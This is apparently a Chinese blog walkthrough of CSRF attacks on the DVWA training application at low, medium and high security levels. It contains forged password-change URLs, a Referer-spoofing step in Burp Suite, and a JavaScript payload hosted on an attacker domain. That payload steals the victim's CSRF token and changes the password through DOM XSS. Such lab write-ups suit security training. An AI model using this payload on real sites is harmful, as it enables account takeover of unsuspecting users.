Dvwa csrf之low、medium、high级别漏洞实战

Dvwa csrf低中高级别漏洞实战

Low
源代码如下:
在这里插入图片描述
G L O B A L S : 引 用 全 局 作 用 域 中 可 用 的 全 部 变 量 。 GLOBALS :引用全局作用域中可用的全部变量。 GLOBALSGLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量(从函数或方法中均可)。PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。
从源代码可以看出这里只是对用户输入的两个密码进行判断,看是否相等。不相等就提示密码不匹配。
相等的话,查看有没有设置数据库连接的全局变量和其是否为一个对象。如果是的话,用mysqli_real_escape_string()函数去转义一些字符,如果不是的话输出错误。
是同一个对象的话,再用md5进行加密,再更新数据库。
在这里,我们第一次尝试两次输入密码不一致:
在这里插入图片描述
看到顶部的URL是:
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=456&Change=Change#
很明显,这就是修改密码的链接。

我们打开另一个页面,在顶部URL中自己输入如下的
http://127.0.0.1/vulnerabilities/csrf/?password_new=666&password_conf=666&Change=Change#
直接跳转到了密码成功的页面了:
在这里插入图片描述
Medium
源代码如下:
在这里插入图片描述
Middle类型的代码在Low级别的基础上,加上了对用户请求头的中的Referer字段进行验证
在这里插入图片描述
即用户的请求头中的Referer字段必须包含了服务器的名字。关于Http Referer字段,详情:验证 HTTP Referer 字段
当我们再打开另一个页面,在顶部URL中自己输入如下的时:
http://127.0.0.1/vulnerabilities/csrf/?password_new=666&password_conf=666&Change=Change#
在这里插入图片描述
这次我们先正常的访问这个完整,然后用burpsuite进行抓包,如图可以看到Referer字段
在这里插入图片描述
然后,我们打开另一个页面,在顶部URL中自己输入如下的链接,用burpsuite进行抓包
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
可以看到,当我们直接打开另一个页面,直接输入URL的时候,请求包的头中并没有Referer字段,所以不能修改成功。
在这里插入图片描述
我们可以自己加一个Referer字段,然后值只要设置成包含了主机头127.0.0.1就行了
在这里插入图片描述
成功修改了:
在这里插入图片描述
High
源代码如下:
在这里插入图片描述
因为该请求是get请求,所以token验证会被放在请求URL中,我们随便输入密码验证一下,可以看到,在请求的URL中最末尾加入了token。
在这里插入图片描述
所以现在要想进行CSRF攻击就必须获取到用户的token,而要想获取到 token 就必须利用用户的 cookie 值去访问修改密码的页面,然后截取服务器返回的token值。然后再利用CSRF漏洞构造URL进行密码的修改。

我们尝试利用下面的代码去构造一个页面,诱使用户点击,当用户点击该链接的这一刻,该代码会偷偷的访问修改用户密码的页面,然后获取到服务器返回的 token ,然后再构造修改密码的表单,加上我们获取到服务器的token值,向服务器发送修改密码的请求。
xss.js

alert(document.cookie);
var theUrl = 'http://www.dvwa.com/vulnerabilities/csrf/';
if(window.XMLHttpRequest) {
    xmlhttp = new XMLHttpRequest();
}else{
    xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){
    if(xmlhttp.readyState ==4 && xmlhttp.status==200)
    {
        var text = xmlhttp.responseText;
        var regex = /user_token\' value\=\'(.*?)\' \/\>/;
        var match = text.match(regex);
        console.log(match);
        alert(match[1]);
            var token = match[1];
                var new_url = 'http://www.dvwa.com/vulnerabilities/csrf/?user_token='+token+'&password_new=test&password_conf=test&Change=Change';
                if(count==0){
                    count++;
                    xmlhttp.open("GET",new_url,false);
                    xmlhttp.send();
                }
    }
};
xmlhttp.open("GET",theUrl,false);
xmlhttp.send();

xss.js放置于攻击者的网站上:http://www.hack.com/xss.js
CSRF结合同Security Level的DOM XSS,通过ajax实现跨域请求来获取用户的user_token,用以下链接来让受害者访问:
http://www.dvwa.com/vulnerabilities/xss_d/?default=English #
诱导点击后,成功将密码修改为test。

后续操作请持续关注哦!!!
了解更多请关注下列公众号:

😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗😗😗😗😗😗😗😗😗
在这里插入图片描述
😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗😗😗😗😗😗😗😗😗

  • 3
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值